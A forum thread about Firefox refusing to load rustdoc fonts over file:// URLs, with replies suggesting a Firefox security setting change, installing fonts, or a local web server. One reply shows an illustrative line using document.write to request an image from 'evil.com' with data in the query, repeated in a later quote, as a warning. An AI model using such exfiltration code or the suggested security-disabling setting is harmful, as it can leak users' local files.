Viewing docs in firefox (file:// scheme)

I use the file:// scheme for viewing docs generated with rustdoc. In firefox I get the following errors when loading fonts:

Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at file:///home/rdodd/devel/non-work/draw2d/target/doc/SourceSerifPro-Regular.woff. (Reason: CORS request not http).[Learn More]
Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at file:///home/rdodd/devel/non-work/draw2d/target/doc/FiraSans-Regular.woff. (Reason: CORS request not http).[Learn More]
Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at file:///home/rdodd/devel/non-work/draw2d/target/doc/FiraSans-Medium.woff. (Reason: CORS request not http).[Learn More]
Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at file:///home/rdodd/devel/non-work/draw2d/target/doc/SourceCodePro-Regular.woff. (Reason: CORS request not http).[Learn More]
Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at file:///home/rdodd/devel/non-work/draw2d/target/doc/SourceCodePro-Semibold.woff. (Reason: CORS request not http).[Learn More] 

Is there a way to tell firefox that when the main page is file://, I don’t mind it loading other urls at file://?

You can fix that by setting an option in about:config called security.fileuri.strict_origin_policy to false.

1 Like

I don’t know if disabling security features for cosmetic fixes is a good idea. I’m not a web dev, but I’m given to understand this is the mechanism used to prevent pages from being able to exfiltrate data off your local filesystem.

If the appearance without those fonts is intolerable, you could install the fonts being used. I believe I have them installed, and I don’t get any errors.

4 Likes

Installing the fonts is probably the optimal solution. Thanks!

Although if all urls in use are file://, there shouldn’t be any exfill, since there is no internet access.

document.write('<img src="http://evil.com/exfil.gif?data=very">');

Never, ever underestimate HTML’s potential for abuse.

3 Likes
document.write('<img src="http://evil.com/exfil.gif?data=very">');

I mean that the browser could enforce that all requests go through the file:// protocol, so this would be rejected because it uses the http:// protocol.

I was more thinking out loud than actually having any knowledge on the subject. :slight_smile:

I’ve got the source code pro, and fira sans fonts installed, but firefox doesn’t find them. I might see if rebooting my system helps - maybe firefox caches fc-list or something.

edit I guess this is a bit OT for rust, but it’s something that’s always been a little niggle. Even now, firefox isn’t finding my ttf/otf fonts for Fira Sans (I have installed both).

edit 2

rustdoc_alignment_issue

This is what I see - it really looks like the alignment is still off. I have installed all the fonts I need and rebooted, but firefox is still not finding them. fc-match "Fira Sans:Regular" works. I’m not sure what to do.

might be quicker to temporarily start a localhost webserver, for ex

cd $PATH_TO_DOC && python3 -m http.server

Yeah I might resort to this. Might write cargo plugin to do it easily. :slight_smile:

Ok I made a tool for this: https://github.com/derekdreery/cargo-docserve. It (re)builds documentation and serves it from a port of your choosing (8000 by default).

2 Likes